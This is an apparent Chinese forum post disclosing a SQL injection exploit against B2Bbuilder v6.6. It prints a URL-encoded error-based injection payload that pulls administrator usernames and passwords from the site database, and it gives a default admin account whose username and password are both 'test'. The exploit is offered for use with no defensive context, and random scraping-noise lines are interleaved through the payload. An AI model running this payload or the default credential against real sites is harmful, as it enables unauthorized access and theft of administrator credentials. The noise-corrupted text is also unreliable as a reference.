B2Bbuilder注入漏洞+Exp+默认管理员帐号

admin

测试的程序版本为：B2Bbuilder_v6.6
8 i& ?8 S4 f. f* |) x8 y* o
' F6 G3 l/ G. b3 b) e
7 Z) x4 V3 F; T  _- V8 }http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%28
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1
# g/ T- `5 _/ H8 e9 _/ T1 C$ R' O%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29
: J) g# _5 r, f; U/ V+ S3 ^*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1
( n4 E! U3 M* }8 e7 |9 Z
$ a) b5 i' b3 ~+ G* ^$ }; H7 m. `这个B2B程序还有一个默认的管理员帐号，帐号密码都是test
# D! L+ l  H0 g4 S5 e